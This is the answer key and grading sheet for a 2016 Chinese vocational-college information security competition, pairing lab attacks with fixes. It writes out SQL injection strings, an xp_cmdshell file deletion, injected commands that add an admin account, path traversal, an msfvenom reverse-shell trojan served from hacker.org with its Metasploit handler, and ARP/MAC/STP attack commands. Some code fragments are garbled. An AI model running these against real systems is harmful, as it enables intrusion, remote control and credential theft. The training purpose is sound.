全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分

任务1:SQL注入攻防(55分)

  1. Web访问DCST中的WebServ2003服务器,进入login.php页面,分析该页面源程序,找到提交的变量名,并截图;(5分)
    找到源程序:(2分)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第1张图片
    页面标题:Login Page
    找到提交的变量名(3分)
    提供以下变量:
    name=“usernm”
    name=“passwd”

  2. 对该任务题目1页面注入点进行SQL注入渗透测试,使该Web站点可通过任意用户名登录,并将测试过程截图;(5分)

构造注入语句:
username:任意用户名
password:含:or X=’X
(X为任意值)
(3分)

同时包含截图:
1、通过任意用户名登录(截图)
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第2张图片

2、登录成功页面(截图)
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第3张图片
(2分)
3. 进入DCST中的WebServ2003服务器的C:\AppServ\www目录,找到loginAuth.php程序,使用EditPlus工具分析并修改PHP源程序,使之可以抵御SQL注入,并将修改后的PHP源程序截图;(10分)

全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第4张图片
(10分)
包含语句:
1、
select password from users where username=’ u s e r n a m e ’ 2 、 i f ( username’ 2、 if( username2if(obj->password==$password)

  1. 再次对该任务题目1页面注入点进行渗透测试,验证此次利用该注入点对该DCST中的WebServ2003服务器进行SQL注入渗透测试无效,并将验证过程截图;(5分)
    同时包含截图:
    1、通过任意用户名登录(截图)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第5张图片
    2、登陆后,页面出现用户名不存在提示;(截图)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第6张图片
    (5分)

  2. Web继续访问DCST中的WebServ2003服务器,"/"->“Employee Information Query”,分析该页面源程序,找到提交的变量名,并截图;(5分)
    找到源程序:(2分)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第7张图片

找到的源程序含有页面标题:

Query

找到提交的变量名(3分)
name=“usernm”

  1. 对该任务题目5页面注入点进行渗透测试,根据输入“%”以及“_”的返回结果确定是注入点,并将测试过程截图;(5分)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第8张图片

(2分)
输入“%”,返回所有用户信息(截图)
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第9张图片
输入“_”,返回所有用户信息(截图)
(3分)

  1. 通过对该任务题目5页面注入点进行SQL注入渗透测试,删除DCST中的WebServ2003服务器的C:\目录下的1.txt文档,并将注入代码及测试过程截图;(5分)

构造注入语句:
‘exec master.dbo.xp_cmdshell ‘del c:\1.txt’–
(5分)

  1. 进入DCST中的WebServ2003服务器的C:\AppServ\www目录,找到QueryCtrl.php程序,使用EditPlus工具分析并修改PHP源程序,使之可以抵御SQL注入渗透测试,并将修改后的PHP源程序截图;(10分)
    截图:
    在服务器场景QueryCtrl.php源程序语句: k e y W o r d = keyWord= keyWord=_REQUEST[‘usernm’]之后加入:

(10分)

  1. 再次对该任务题目5页面注入点进行渗透测试,验证此次利用注入点对该WebServer进行SQL注入渗透测试无效,并将验证过程截图。(5分)
    通过:‘exec master.dbo.xp_cmdshell ‘del c:\1.txt’—
    再次进行SQL注入截图;
    系统出现错误提示:Bad KeyWord!(截图)
    (5分)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第10张图片
    任务2:XSS和CSRF攻防(65分)

  2. Web访问DCST中的WebServ2003服务器,"/"->" Employee Message Board",分析该页面源程序,找到提交的变量名,并截图;(5分)
    找到源程序:(2分)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第11张图片

含有页面标题:Message Board
找到提交的变量名:(3分)
name=“MessageUsername”
name=“message”

  1. 对该任务题目1页面注入点进行XSS渗透测试,并进入"/"->" Employee Message Board"->"Display Message"页面,根据该页面的显示,确定是注入点,并将测试过程截图;(5分)
    构造注入代码:(2分)

测试注入成功:(3分)
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第12张图片
弹出alert(“Hacker!”)括号中的消息;

  1. 对该任务题目1页面注入点进行渗透测试,使"/"->" Employee Message Board"->"Display Message"页面的访问者执行网站(http://hacker.org/)中的木马程序:http://hacker.org/TrojanHorse.exe,并将注入代码及测试过程截图;(5分)

构造注入代码:(2分)

测试过程:(3分)
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第13张图片
名称:trojanhorse.exe
发送者:hacker.org

  1. 通过IIS搭建网站(http://hacker.org/),并通过Kali生成木马程序TrojanHorse.exe,将该程序复制到网站(http://hacker.org/)的WWW根目录下,并将搭建该网站结果截图;(5分)
    搭建IIS(1分)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第14张图片
    Internet信息服务:
    网站目录下存放:
    trojanhorse.exe
    搭建DNS(1分)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第15张图片
    正向查找区域:主机(截图)
    Zone:Org
    主机:hacker

Metasploit Framework:TrojanHorse.exe生成 (3分)
root@bt:~#Ifconfig
(截图)
显示Kali IP地址:X.X.X.X
在这里插入图片描述
截图包含:
root@bt:~#msfvenom –p windows/meterpreter/reverse_tcp LHOST=X.X.X.X LPORT=80 –f exe –o trojanhorse.exe

  1. 当"/"->" Employee Message Board"->"Display Message"页面的访问者执行网站(http://hacker.org/)中的木马程序TrojanHorse.exe以后,访问者主机需要被Kali主机远程控制,打开访问者主机的CMD.exe命令行窗口,并将该操作过程截图;(5分)
    Metasploit Framework:Hacker Reverse Tcp连接客户端 (2分)
    root@bt:~#msfconsole
    msf > use exploit/multi/handler
    msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
    PAYLOAD => windows/meterpreter/reverse_tcp
    msf exploit(handler) > set LHOST X.X.X.X
    LHOST => X.X.X.X
    msf exploit(handler) > set LPORT 80
    LPORT => 80
    msf exploit(handler) > exploit
    [] Started reverse handler on X.X.X.X:80
    [
    ] Starting the payload handler…
    (截图中包含黄色部分)
    访问者主机需要被Kali主机远程控制(3分)
    Kali MSF提示(截图)包含如下信息
    Kali IP:X.X.X.X
    访问者主机IP:Y.Y.Y.Y
    [] Sending stage (…… bytes) to Y.Y.Y.Y
    [
    ] Meterpreter session 1 opened (X.X.X.X:Port1 -> Y.Y.Y.Y:Port2) at ……
    meterpreter >
    在这里插入图片描述
    Kali截图包含打开访问者主机的CMD.exe命令行窗口;
    在这里插入图片描述

  2. 进入DCST中的WebServ2003服务器的C:\AppServ\www目录,找到insert.php程序,使用EditPlus工具分析并修改PHP源程序,使之可以抵御XSS渗透测试,并将修改后的PHP源程序截图;(10分)
    (10分)

在服务器场景原insert.php程序语句 i n f o = info= info=_REQUEST[‘message’]后加入:
绿色部分,通过替换函数,通过其它字符({},(),[]等字符)替换字符“<”和“>”均可得分;
i n f o = s t r r e p l a c e ( “ < ” , ” ( ” , info=str_replace(“<”,”(”, info=strreplace(<,(,info);
i n f o = s t r r e p l a c e ( “ > ” , ” ) ” , info=str_replace(“>”,”)”, info=strreplace(>,),info);

i n f o = s t r r e p l a c e ( “ < ” , ” { ” , info=str_replace(“<”,”{”, info=strreplace(<,,info);
KaTeX parse error: Expected 'EOF', got '}' at position 24: …_replace(“>”,” }̲”,info);

i n f o = s t r r e p l a c e ( “ < ” , ” [ ” , info=str_replace(“<”,”[”, info=strreplace(<,[,info);
i n f o = s t r r e p l a c e ( “ > ” , ” ] ” , info=str_replace(“>”,” ]”, info=strreplace(>,],info);

  1. 再次对该任务题目1页面注入点进行渗透测试,验证此次利用该注入点对该DCST中的WebServ2003服务器进行XSS渗透测试无效,并将验证过程截图;(5分)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第16张图片
    SQL Server企业管理器中,Message表中info字段注入语句符号“<”和“>”被替换为上一题替换后的字符;同时Communication Message页面显示Content:注入语句符号“<”和“>”被替换为上一题替换后的字符;
    (5分)

  2. Web访问DCST中的WebServ2003服务器,"/"->" Shopping Hall",分析该页面源程序,找到提交的变量名,并截图;(5分)
    找到源程序:(2分)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第17张图片
    页面标题为:

    Shopping Hall


    找到提交的变量名:(3分)
    goods=keyboard&quantity=1
    goods=mouse&quantity=1
    goods=monitor&quantity=1
    goods=cpu&quantity=1
    goods=memory&quantity=1
    goods=dvdrom&quantity=1

  3. 对该任务题目1页面注入点进行渗透测试,使"/"->" Employee Message Board"->“Display Message"页面的访问者向页面ShoppingProcess.php提交参数goods=cpu&quantity=999999,查看”/"->"PurchasedGoods.php页面,并将注入代码及测试过程截图;(5分)
    构造注入代码:(2分)

WebServer IP:X.X.X.X

测试过程:(3分)

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截图:
Goods:CPU----数值大于或等于999999

  1. 进入DCST中的WebServ2003服务器的C:\AppServ\www目录,找到DisplayMessage.php程序,使用EditPlus工具分析并修改PHP源程序,使之可以抵御CSRF渗透测试,并将修改后的源程序截图;(10分)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第19张图片
    截图:
    服务器场景DisplayMessage.php程序语句:
    echo “Content:”.” o b j − > i n f o ” . ” … … ” 替 换 为 : e c h o “ C o n t e n t : ” . s t r i p t a g s ( ” obj->info”.”……” 替换为: echo “Content:”.strip_tags(” obj>info.echoContent:.striptagsobj->info”).”……”
    (10分)
  2. 再次对该任务题目1页面注入点进行渗透测试,验证此次利用该注入点对该DCST中的WebServ2003服务器进行CSRF渗透测试无效,并将验证过程截图;(5分)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第20张图片
    (5分)
    得分点:直接显示代码信息,而不是将代码执行;
    (截图)
    SQL Server企业管理器中,Message表中info字段注入语句含有标记;

任务3:命令注入与文件包含攻防(50分)

  1. Web访问DCST中的WebServ2003服务器,"/"->" Display Directory",分析该页面源程序,找到提交的变量名,并截图;(5分)
    找到源程序:(2分)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第21张图片
    页面标题:
Display C:\’s Directory 找到提交的变量名:(3分) name="directory"
  1. 对该任务题目1页面注入点进行渗透测试,使页面DisplayDirectoryCtrl.php回显C:\Windows目录内容的同时,对WebServer添加账号“Hacker”,将该账号加入管理员组,并将注入代码及测试过程截图;(5分)
    注入语句:(2分)
    WINDOWS | net user Hacker P@ssword /add
    WINDOWS | net localgroup administrators Hacker /add
    测试成功:(3分)
    截图:
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第22张图片
    含有:命令成功完成。

  2. 进入DCST中的WebServ2003服务器的C:\AppServ\www目录,找到DisplayDirectoryCtrl.php程序,使用EditPlus工具分析并修改PHP源程序,使之可以抵御命令注入渗透测试,并将修改后的源程序截图;(10分)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第23张图片
    (10分)
    包含语句:
    s t r = ’ ∣ ’ i f ( s t r s t r ( str=’|’ if(strstr( str=if(strstr(directory,$str)==false)

  3. 再次对该任务题目1页面注入点进行渗透测试,验证此次利用注入点对该DCST中的WebServ2003服务器进行命令注入渗透测试无效,并将验证过程截图;(5分)
    截图1:利用注入点对该DCST中的WebServ2003服务器进行命令注入渗透测试;、

全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第24张图片
含有本任务第2题的命令注入语句;
WINDOWS | net user Hacker P@ssword /add
WINDOWS | net localgroup administrators Hacker /add
截图2:页面出现非法输入提示;
含有本任务题目3修改后代码中的错误提示信息;
本案例提示信息为:illegal input!
(5分)

  1. Web访问DCST中的WebServ2003服务器,"/"->" Display Uploaded’s File Content",分析该页面源程序,找到提交的变量名,并截图;(5分)
    找到源程序:(2分)

全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第25张图片
页面标题:Display Upload’s File Content

找到提交的变量名:(3分)
name=“filename”

  1. 对该任务题目5页面注入点进行渗透测试,使页面DisplayFileCtrl.php回显DCST中的WebServ2003服务器访问日志文件:AppServ/Apache2.2/logs/access.log的内容,并将注入代码及测试过程截图;(5分)
    构造注入代码:(2分)
    …\AppServ\Apache2.2\logs\access.log
    回显DCST中的WebServ2003服务器访问日志文件:显示出AppServ/Apache2.2/logs/access.log的内容:(3分)

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Internet Explorer地址栏中须含有:
DisplayFileCtrl.php?filename=

  1. 进入DCST中的WebServ2003服务器的C:\AppServ\www目录,找到DisplayFileCtrl.php程序,使用EditPlus工具分析并修改PHP源程序,使之可以抵御文件包含渗透测试,并将修改后的源程序截图;(10分)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第27张图片
    (10分)
    包含语句:
    s t r = ’ . . ’ i f ( s t r s t r ( str=’..’ if(strstr( str=..if(strstr(directory,$str)==false)

  2. 再次对该任务题目5页面注入点进行渗透测试,验证此次利用注入点对该DCST中的WebServ2003服务器进行文件包含渗透测试无效,并将验证过程截图。(5分)

截图1:利用注入点对该DCST中的WebServ2003服务器进行命令注入渗透测试;
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第28张图片
输入框含有本任务题目6的注入代码:
…\AppServ\Apache2.2\logs\access.log
截图2:页面出现非法输入提示;
含有本任务题目7修改后代码中的错误提示信息;
本案例提示信息为:illegal input!

(5分)

任务4:数据窃取防护:二层攻防(45分)

  1. 将PC1、Kali所连接端口划入与WAF同一VLAN(VLAN10),并将PC1、Kali分配与DCST服务器相同网段IP地址,使PC1、Kali、DCST中的WebServ2003服务器能够在同一个网段(VLAN10)内相互Ping通。(2分)
    截图:
    PC1、Kali、DCST同在VLAN10;(#show vlan)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第29张图片
    VLAN10中包含的接口数>=3;

WebServer IP配置(与参数表中服务器场景的IP地址一致):
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第30张图片
PC1 IP地址配置(与参数表中PC1的IP地址一致):
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第31张图片
PC3 IP地址配置(与参数表中PC3的IP地址一致):
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第32张图片
三个终端之间能够相互Ping通;
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第33张图片
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第34张图片
在同一个窗口ping通除了本机外的2个IP地址;

  1. 查看DCRS交换机VLAN10的MAC地址表容量信息,并将DCRS交换机配置相关参数、查看命令、查看结果截图。(3分)

#show mac-address-table count vlan 10
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第35张图片
DCRS地址表空间中有可用的空间;
当前地址表记录数少于地址表容量;
Max entires……
Total……:16384
Current entires……
Total……:该数值小于10

  1. 从Kali发起MAC Flooding渗透测试,使DCRS交换机的MAC地址表溢出,使其在MAC地址表溢出的条件下,无法学习到PC1和DCST中的WebServ2003服务器的MAC地址表信息,查看DCRS交换机的MAC地址表信息,并将渗透测试过程截图。(5分)
    Kali#macof
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第36张图片

(2分)
#show mac-address-table count vlan 10
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第37张图片

当前地址表记录数等于地址表容量;
Max entires……
Total……:16384
Current entires……
Total……:该数值=16384
(3分)

  1. Kali打开wireshark,验证在DCRS交换机MAC地址表溢出的条件下,可以监听到PC1访问DCST中的WebServ2003服务器的HTTP流量,并将该验证过程截图。(5分)
    PC1通过Internet Explorer访问;(截图)

地址栏包含:
服务器场景IP(匹配参数表服务器场景IP)/……
Kali打开wireshark,监听到PC1通过Internet Explorer访问DCST服务器场景的HTTP流量;

全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第38张图片
截图:
Source:PC1的IP地址(与参数表一致)
Destination:服务器场景的IP地址(与参数表一致)
Protocol:HTTP
(5分)

  1. 在DCRS交换机Kali所连接端口配置Port Security特性,阻止Kali发起MAC Flooding渗透测试,验证此时DCRS交换机MAC地址表能够学习到PC1、DCST中的WebServ2003服务器的MAC地址,并将DCRS交换机相关配置信息以及验证信息截图。(8分)
    配置截图包含:
    mac-address-learning cpu-control
    (2分)
    在VLAN10每个接口全部启用如下:
    Interface Ethernet1/0/X
    switchport port-security
    (2分)
    #clear mac-address-table dynamic
    (2分)
    #show mac-address-table count vlan 10
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第39张图片
    DCRS地址表空间中有可用的空间;
    当前地址表记录数少于地址表容量;
    Max entires……
    Total……:16384
    Current entires……
    Total……:该数值小于10
    (2分)

  2. 在DCRS交换机配置Port Security特性的条件下,Kali再次打开wireshark,监听PC1访问DCST中的WebServ2003服务器流量,验证此时Kali无法监听到PC1访问DCST中的WebServ2003服务器的HTTP流量,并将验证过程截图。(7分)
    PC1通过Internet Explorer访问服务器场景;(截图)

地址栏包含:
服务器场景IP(匹配参数表服务器场景IP)/……
Kali打开wireshark,监听不到PC1通过Internet Explorer访问DCST的HTTP流量;(截图)

全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第40张图片
Filter:http
显示报文数:空
任务5:数据窃取防护:ARP攻防(45分)

  1. 在PC1访问DCST中的WebServ2003服务器时,查看PC1和DCST中的WebServ2003服务器的ARP缓存信息,并将PC1和DCST中的WebServ2003服务器的ARP缓存信息截图。(5分)

PC1、WebServ2003
Ipconfig/all
分别显示PC1、WebServ2003的IP和MAC;
PC1的IP和MAC:
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第41张图片

服务器场景的IP和MAC:
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第42张图片
PC1通过Internet Explorer访问服务器场景;(截图)
在这里插入图片描述
地址栏包含:
服务器场景IP(匹配参数表服务器场景IP)/……

PC1:ARP表项内容为
WebServ2003的IP->WebServ2003的真实的MAC;
在这里插入图片描述
WebServ2003:ARP表项内容为
PC1的IP-> PC1的真实的MAC;
在这里插入图片描述
2. 在Kali对PC1进行ARP Spoofing渗透测试,使PC1无法访问DCST中的WebServ2003服务器,PC1的ARP缓存为:DCST中的WebServ2003服务器IP->Kali的MAC地址,在PC1查看被Kali毒化后的ARP缓存信息,并将该信息截图。(5分)
Kali:
#arpspoof –t PC1_IP WebServ2003_IP
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第43张图片

(过程截图)
(2分)
PC1:ARP表项内容为
WebServ2003的IP->Kali的MAC;

在这里插入图片描述
Kali MAC:ifconfig
(截图)
在这里插入图片描述

(3分)
3. 在Kali对PC1和DCST中的WebServ2003服务器进行ARP中间人渗透测试,使Kali能够使用wireshark监听到PC1向DCST中的WebServ2003服务器的LoginAuth.php页面提交的登录网站用户名、密码参数,并将该渗透测试过程截图。(7分)
Kali:
#arpspoof –t PC1_IP WebServ2003_IP
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第44张图片

#arpspoof –t WebServ2003_IP PC1_IP
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第45张图片

#echo 1 > /proc/sys/net/ipv4/ip_forward
在这里插入图片描述
(3分)
PC1通过Internet Explorer访问服务器场景;(截图)
在这里插入图片描述
地址栏包含:
服务器场景IP(匹配参数表服务器场景IP)/success.php

Kali打开wireshark,监听到PC1通过Internet Explorer访问DCST服务器场景的HTTP流量;(截图)
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第46张图片
截图中包含PC1通过Internet Explorer访问DCST服务器场景的用户名、密码;
包含:usernm=XXX&passwd=XXX
(4分)

  1. 在DCRS交换机上配置Access Management特性阻止Kali发起ARP Spoofing渗透测试,并将DCRS交换机该配置信息截图。(5分)

配置截图包含:
am enable
(2分)
只在连接Kali的接口配置:
Interface Ethernet1/0/X
am port
am mac-ip-pool Mac(Kali) IP(Kali)
(3分)
5. 在DCRS交换机上配置Access Management特性的条件下,再次在Kali对PC1和DCST中的WebServ2003服务器进行ARP Spoofing渗透测试,此时DCRS交换机的Access Management特性能够阻止Kali对PC1和DCST中的WebServ2003服务器进行ARP Spoofing渗透测试,再次查看PC1和DCST中的WebServ2003服务器的ARP缓存信息,并将该信息截图。(8分)
(4分)
PC1:ARP表项内容为
WebServ2003的IP->WebServ2003的真实的MAC;
在这里插入图片描述

(4分)
WebServ2003:ARP表项内容为
PC1的IP-> PC1的真实的MAC;
在这里插入图片描述
6. 在DCRS交换机上删除Access Management技术配置,通过IP DHCP Snooping Bind特性来阻止Kali发起ARP Spoofing渗透测试,并将DCRS交换机相关配置信息截图。(7分)

配置截图包含:
ip dhcp snooping enable
(1分)
ip dhcp snooping vlan 10
(1分)
ip dhcp snooping binding enable
(1分)
ip dhcp snooping binding user Mac(Kali) address IP(Kali) vlan 10 interface Ethernet1/0/X(Kali连接的接口)

(2分)
在Kali连接的接口配置:
Interface Ethernet1/0/X
ip dhcp snooping binding user-control
(2分)

  1. 在DCRS交换机上配置IP DHCP Snooping Bind特性的条件下,再次在Kali对PC1和DCST中的WebServ2003服务器进行ARP Spoofing渗透测试,此时DCRS交换机的IP DHCP Snooping Bind特性能够阻止Kali对PC1和DCST中的WebServ2003服务器进行ARP Spoofing渗透测试,再次查看PC1和DCST中的WebServ2003服务器的ARP缓存信息,并将该信息截图。(8分)

(4分)
PC1:ARP表项内容为
WebServ2003的IP->WebServ2003的真实的MAC;
在这里插入图片描述
(4分)
WebServ2003:ARP表项内容为
PC1的IP-> PC1的真实的MAC;
在这里插入图片描述
任务6:数据窃取防护:生成树攻防(40分)

  1. 在DCRS交换机开启生成树协议,生成树协议模式为STP,DCRS交换机优先级为0,防止网络出现物理环路,显示DCRS交换机生成树协议的状态,并将该信息截屏;(5分)
    STP配置:(2分)
    配置截图包含:
    spanning-tree
    spanning-tree mode stp
    spanning-tree mst 0 priority 0
    显示DCRS交换机生成树协议的状态: (3分)
    #show spanning-tree
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第47张图片

Root ID:this Switch(必须)

  1. 在Kali向DCRS交换机发起Take Over The Root Bridge渗透测试,使DCRS交换机认为Kali为Root Bridge,显示DCRS交换机生成树协议的状态,并将该信息截屏;(5分)
    Kali: Yersinia –G(截图)
    全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第48张图片

Claiming Root Role(选择)
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第49张图片

Root ID:为Kali的ID(Root ID近似等于Self Bridge Id)
(3分)

  1. 配置DCRS交换机生成树协议安全特性,阻止Take Over The Root Bridge渗透测试,并将DCRS交换机相关配置信息截屏;(7分)
    法一:
    配置截图包含:
    VLAN10的每个接口都做:
    Switch(config-if-ethernet1/0/X)#spanning-tree rootguard
    法二:
    配置截图包含:
    VLAN10的每个接口都做:
    Switch(config-if-ethernet1/0/X)#spanning-tree portfast bpduguard recovery (任意值)
    法三:
    配置截图包含:
    VLAN10的每个接口都做:
    Switch(config-if-ethernet1/0/X)#spanning-tree portfast bpdufilter

  2. 在DCRS交换机配置生成树协议安全特性的条件下,DCRS交换机不会认为Kali为Root Bridge,由Kali再次向DCRS交换机发起Take Over The Root Bridge渗透测试,再次显示DCRS交换机生成树协议的状态,并将以上验证过程截屏;(8分)

在这里插入图片描述
Claiming Root Role(选择)
(4分)
全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第50张图片
Root ID:this switch
(4分)

  1. 由Kali向DCRS交换机发起BPDU DOS渗透测试,提高DCRS交换机CPU的利用率,显示DCRS交换机CPU的利用率,并将该信息截屏;(5分)

全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第51张图片

选择:Sending conf BPDUs
(2分)
渗透前交换机CPU的利用率
在这里插入图片描述
渗透后交换机CPU的利用率
在这里插入图片描述
CPU的利用率须大于正常的CPU利用率(与正常CPU利用率进行比较)
(3分)

  1. 配置DCRS交换机生成树协议安全特性,阻止BPDU DOS渗透测试,并将配置信息截屏;(5分)
    配置截图包含:
    VLAN10的每个接口都做:
    Switch(config-if-ethernet1/0/X)#spanning-tree portfast bpduguard recovery (任意值)

  2. 在DCRS交换机配置生成树协议安全特性的条件下,DCRS交换机不会受Kali的BPDU DOS渗透测试影响,此时由Kali再次向DCRS交换机发起BPDU DOS渗透测试,显示DCRS交换机CPU的利用率,并将该验证截屏;(5分)

全国职业院校技能大赛2016年高职组信息安全管理与评估都二阶段答案及评分_第52张图片

选择:Sending conf BPDUs
(2分)
渗透前交换机CPU的利用率
在这里插入图片描述
渗透后交换机CPU的利用率
在这里插入图片描述
CPU的利用率在渗透前后须无明显变化
(3分)

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